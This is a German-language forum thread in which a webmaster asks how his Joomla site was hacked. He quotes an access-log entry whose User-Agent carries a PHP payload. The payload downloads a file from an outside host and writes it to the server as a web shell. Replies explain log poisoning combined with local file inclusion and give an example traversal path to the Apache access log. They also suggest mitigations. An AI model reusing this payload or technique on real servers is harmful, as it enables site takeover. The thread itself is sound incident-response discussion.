User-Agent Code-Injection

[Koller]

Hi Community,

ich habe ein Problem mit meiner Internetseite.
Vor kurzem wurde der Server gehackt. Im Access-Log des Apache finde ich folgenden Eintrag:

IP-Adresse [Datum/Uhrzeit] "GET /favicon.ico HTTP/1.1" 404 308 "-" "<?php $shell=@file_get_contents(\"http://www.vonmirzensiert.commmm//installation_done/language/zh-TW/no.gif\"); $fw=@fopen(\"index3.php\",\"w\"); fputs ($fw, $shell); fclose($fw); ?>"

Auf meinen Server wurde also von einer externen URL Code nachgeladen und auf meinen Server (index3.php) geschrieben.
Unmittelbar danach wurde die index3.php dann mehrmals aufgerufen.
Das ganze ist ein bösartiges PHP-Skript.

Meine Frage nun: Wie kann das passieren?
Da schleust jemand in den User-Agent im HTTP-Request ein PHP-Skript ein.
Ich als Webspace-Inhaber hab keine Möglichkeit, den Apache zu konfigurieren. Wie kann ich sowas verhindern?
Ich habe ein Joomla auf der Seite, aber der Request geht ja auf die favicon.ico...
Auf dem Server läuft Apache 2.2.9.
Hat jemand eine Idee, wie ich das in Zukunft verhindern kann?

Grüße
Marco

 

[bitmuncher]

Der User-Agent wird auch von Joomla an diversen Stellen ausgewertet (z.B. für Statistiken). Die Wahrscheinlichkeit, dass das Problem also im Joomla verursacht wurde, ist weitaus höher als dass damit eine Lücke im Apache genutzt wurde. Apache verarbeitet den User-Agent nämlich nicht mit PHP weiter und führt entsprechend auch keinen PHP-Code dort aus.

 

[Chakky]

werte dein useragent anders aus, bzw entschärfe den Useragent vor einen eintrag in eine db oder bevor er in einen php script auftaucht.

Ich nehme an das du ein Statsscript laufen hast welches auch die Useragents auswerten kann und anzeigt. Dabei wird der Useragent nicht geprüft und einfach als "sicher" übernommen. Schon hat man eine klassische Code Injektion.

Das bekommst du weg in dem du das Script anpasst gemäß den Motto traue nie einer Usereingabe. MIt der Apacheconfig hat es weniger zu tun.

grr da war jemand schneller

 

[she3p]

Hmm.. Mal abgesehen, dass für eine solche Attacke natürlich allow_url_fopen auf On sein muss. Dies bietet natürlich immer auch einen Angriffsvektor. Aber ich lese gerade, dass dies offenbar teils auch per Shellzugriff gelöst wird. Dies ist meines Wissens aber auf den meisten Webspace-Hostern nicht erlaubt.

Ich rate dir, sofern du keine Crossdomain Requests auf andere Server machen musst, zu versuchen, ob du diese Einstellung per .htaccess verändern kannst. (Je nach Hoster sind gewisse Einstellungen nicht machbar, aber einen Versuch ists wert.)

php_value allow_url_fopen Off

Selbstverständlich bleibt irgendwo im System noch ein Bug bestehen. Vielleicht wissen die Typen im Joomlaforum mehr?

 

[mido]

Generell ist es sicher ratsam, die Schwachstelle ausfindig zu machen um die Lücke schließen zu können.
Gerade wenn es sich nicht um die aktuellsten Versionen von Joomla samt Extensions handelt, sollten (Sicherheits-)updates eingespielt werden.

Da die gif-Datei (nicht Grafik ;-)), auf dem Server von welchem aus der Schadcode der index3.php-Datei geladen wurde, sich unterhalb eines installation_done-Ordners, in welchen Joomla offenbar den installation-Ordner nach der Installation umbenennt (optional? - habe das gerade "gegoogelt"), befindet, könnte es sich auch um einen Joomla-Wurm handeln. Suchmaschinen könnten diesen Verdacht eventuell bestätigen (wenn auch derzeit nicht widerlegen, könnte sich ja um etwas "neues" handeln) und ev. auch wenig (aber etwas) zur Verbreitung aussagen.
Natürlich kann es auch sein, dass der Angreifer lediglich zuvor eine Joomla-Installation infiltriert hatte und dort den Schadcode ablegte...


Sofern du Joomla samt Extensions auf einem aktuellen Stand gehalten hast und du dir nicht sicher bist, ob die Schwachstelle noch existiert, könnten folgende Überlegungen nützlich sein;
Irgendwie musste der PHP-Code im Logfile zur Ausführung gebracht werden. Möglich ist, wie schon genannt, eine Schwachstelle in einer PHP-Applikation zur Auswertung der access-Logs.
Möglich ist auch eine LFI-Schwachstelle in Joomla oder Extensions welche das Einbinden (und Interpretieren) von (mehr oder weniger) beliebigen Dateien ermöglicht.
Sollte letzteres der Fall gewesen sein, muss die jeweilige Lücke ausgenutzt worden sein, was einen Log-Eintrag erzeugt haben sollte (nicht zwangsweise vom selben Host, aber möglich).
Schau dir einmal die "umgebenden" Log-Einträge an, ev. findest du irgendwo einen Request ähnlich; blub.php?a=../../var/log/apache2/access.log. Damit wäre bekannt, welche Datei von der Schwachstelle betroffen ist und gezielte Schritte zur Beseitigung wären möglich.
Interessant ist sicher auch die Zeitdifferenz zwischen dem php-Code-im-UA-Request und dem ersten Zugriff auf die index3.php.
Sofern der PHP-Code durch eine Statistik-Anwendung zur Ausführung kam, muss eventuell - je nach verwendeter Anwendung - erst einmal die Statistik aufgerufen werden.

Generell gibt es vielleicht jemanden, welcher Erfahrung mit Drupal hat und den diese Geschichte interessiert, oder der bzgl. Exploits auf dem Laufendem ist, oder der Lust hat zu suchen, weshalb die Version von Drupal (und die verwendeten Extensions samt Versionen) interessant sein könnten. Dazu zähle ich mich jedoch nicht. ;-)

Viel Glück!